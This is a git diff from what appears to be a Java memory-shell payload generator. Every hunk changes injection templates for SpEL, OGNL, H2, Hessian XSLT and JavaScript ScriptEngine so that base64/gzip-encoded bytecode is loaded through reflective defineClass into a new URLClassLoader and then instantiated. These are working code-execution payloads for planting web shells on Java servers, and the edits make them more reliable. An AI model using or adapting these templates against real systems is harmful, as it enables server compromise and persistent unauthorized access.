diff --git a/packer/src/main/java/com/reajason/javaweb/packer/deserialize/hessian/XSLTScriptEngine.java b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/hessian/XSLTScriptEngine.java index 67133bde..73447517 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/deserialize/hessian/XSLTScriptEngine.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/hessian/XSLTScriptEngine.java @@ -24,7 +24,7 @@ public class XSLTScriptEngine { " xmlns:se=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager\"\n" + " xmlns:js=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngine\">\n" + " \n" + - " \n" + + " \n" + " \n" + " \n" + " \n" + diff --git a/packer/src/main/java/com/reajason/javaweb/packer/h2/H2JavacPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/h2/H2JavacPacker.java index 9c235c21..7ed440e1 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/h2/H2JavacPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/h2/H2JavacPacker.java @@ -20,7 +20,7 @@ public class H2JavacPacker implements Packer { "}" + "java.lang.reflect.Method defMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" + "defMethod.setAccessible(true)\\;" + - "java.lang.Class myclass=(java.lang.Class)defMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" + + "java.lang.Class myclass=(java.lang.Class)defMethod.invoke(new java.net.URLClassLoader(new java.net.URL[0],java.lang.Thread.currentThread().getContextClassLoader()),bytes,0,bytes.length)\\;" + "myclass.newInstance()\\;" + "return null\\;" + "}'\\;" + @@ -44,7 +44,7 @@ public class H2JavacPacker implements Packer { "} catch (Throwable e) {}" + "java.lang.reflect.Method defMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" + "defMethod.setAccessible(true)\\;" + - "java.lang.Class myclass=(java.lang.Class)defMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" + + "java.lang.Class myclass=(java.lang.Class)defMethod.invoke(new java.net.URLClassLoader(new java.net.URL[0],java.lang.Thread.currentThread().getContextClassLoader()),bytes,0,bytes.length)\\;" + "myclass.newInstance()\\;" + "return null\\;" + "}'\\;" + diff --git a/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipJDK17Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipJDK17Packer.java index bc8a6caa..359db4c1 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipJDK17Packer.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipJDK17Packer.java @@ -12,7 +12,7 @@ import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertC * @since 2025/7/7 */ public class OGNLSpringGzipJDK17Packer implements Packer { - String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.StreamUtils@copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}')))),@java.lang.Thread@currentThread().getContextClassLoader(),null,@java.lang.Class@forName('org.springframework.expression.ExpressionParser'))).newInstance()"; + String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.StreamUtils@copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],@java.lang.Thread@currentThread().getContextClassLoader()),null,@java.lang.Class@forName('org.springframework.expression.ExpressionParser'))).newInstance()"; @Override @SneakyThrows diff --git a/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipPacker.java index f437f3f8..1516a1af 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipPacker.java @@ -10,7 +10,7 @@ import lombok.SneakyThrows; * @since 2025/7/7 */ public class OGNLSpringGzipPacker implements Packer { - String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.StreamUtils@copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}')))),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()"; + String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.StreamUtils@copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],@java.lang.Thread@currentThread().getContextClassLoader()))).newInstance()"; @Override @SneakyThrows diff --git a/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipJDK17Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipJDK17Packer.java index bb984b97..8b6f47cb 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipJDK17Packer.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipJDK17Packer.java @@ -9,7 +9,7 @@ import com.reajason.javaweb.packer.Packers; * @since 2024/12/13 */ public class SpELSpringGzipJDK17Packer implements Packer { - String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),T(java.lang.Thread).currentThread().getContextClassLoader(),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()"; + String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()"; @Override public String pack(ClassPackerConfig config) { diff --git a/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipPacker.java index db56f03c..18015c1b 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipPacker.java @@ -14,7 +14,7 @@ import com.reajason.javaweb.packer.Packers; * @since 2024/12/13 */ public class SpELSpringGzipPacker implements Packer { - String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()"; + String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()"; @Override public String pack(ClassPackerConfig config) { diff --git a/packer/src/main/resources/memshell-party/ScriptEngine.js b/packer/src/main/resources/memshell-party/ScriptEngine.js index 40bab10a..9123b89c 100644 --- a/packer/src/main/resources/memshell-party/ScriptEngine.js +++ b/packer/src/main/resources/memshell-party/ScriptEngine.js @@ -13,5 +13,5 @@ var clsByteArray = (new java.lang.String("a").getBytes().getClass()); var clsInt = java.lang.Integer.TYPE; var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsString, clsByteArray, clsInt, clsInt]); defineClass.setAccessible(true); -var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), className, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); +var clazz = defineClass.invoke(new java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.net.URL"), 0),java.lang.Thread.currentThread().getContextClassLoader()), className, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); clazz.newInstance(); \ No newline at end of file diff --git a/packer/src/main/resources/memshell-party/ScriptEngineBigInteger.js b/packer/src/main/resources/memshell-party/ScriptEngineBigInteger.js index 746b993e..5ae1a8e3 100644 --- a/packer/src/main/resources/memshell-party/ScriptEngineBigInteger.js +++ b/packer/src/main/resources/memshell-party/ScriptEngineBigInteger.js @@ -6,5 +6,5 @@ var clsByteArray = (new java.lang.String("a").getBytes().getClass()); var clsInt = java.lang.Integer.TYPE; var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsString, clsByteArray, clsInt, clsInt]); defineClass.setAccessible(true); -var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), className, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); +var clazz = defineClass.invoke(new java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.net.URL"), 0),java.lang.Thread.currentThread().getContextClassLoader()), className, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); clazz.newInstance(); \ No newline at end of file diff --git a/packer/src/main/resources/memshell-party/ScriptEngineNoSquareBrackets.js b/packer/src/main/resources/memshell-party/ScriptEngineNoSquareBrackets.js index bf2c05de..b2c24cd1 100644 --- a/packer/src/main/resources/memshell-party/ScriptEngineNoSquareBrackets.js +++ b/packer/src/main/resources/memshell-party/ScriptEngineNoSquareBrackets.js @@ -18,5 +18,5 @@ java.lang.reflect.Array.set(pTypes, 2, clsInt); java.lang.reflect.Array.set(pTypes, 3, clsInt); var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", pTypes); defineClass.setAccessible(true); -var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), className, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); +var clazz = defineClass.invoke(new java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.net.URL"), 0),java.lang.Thread.currentThread().getContextClassLoader()), className, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); clazz.newInstance(); \ No newline at end of file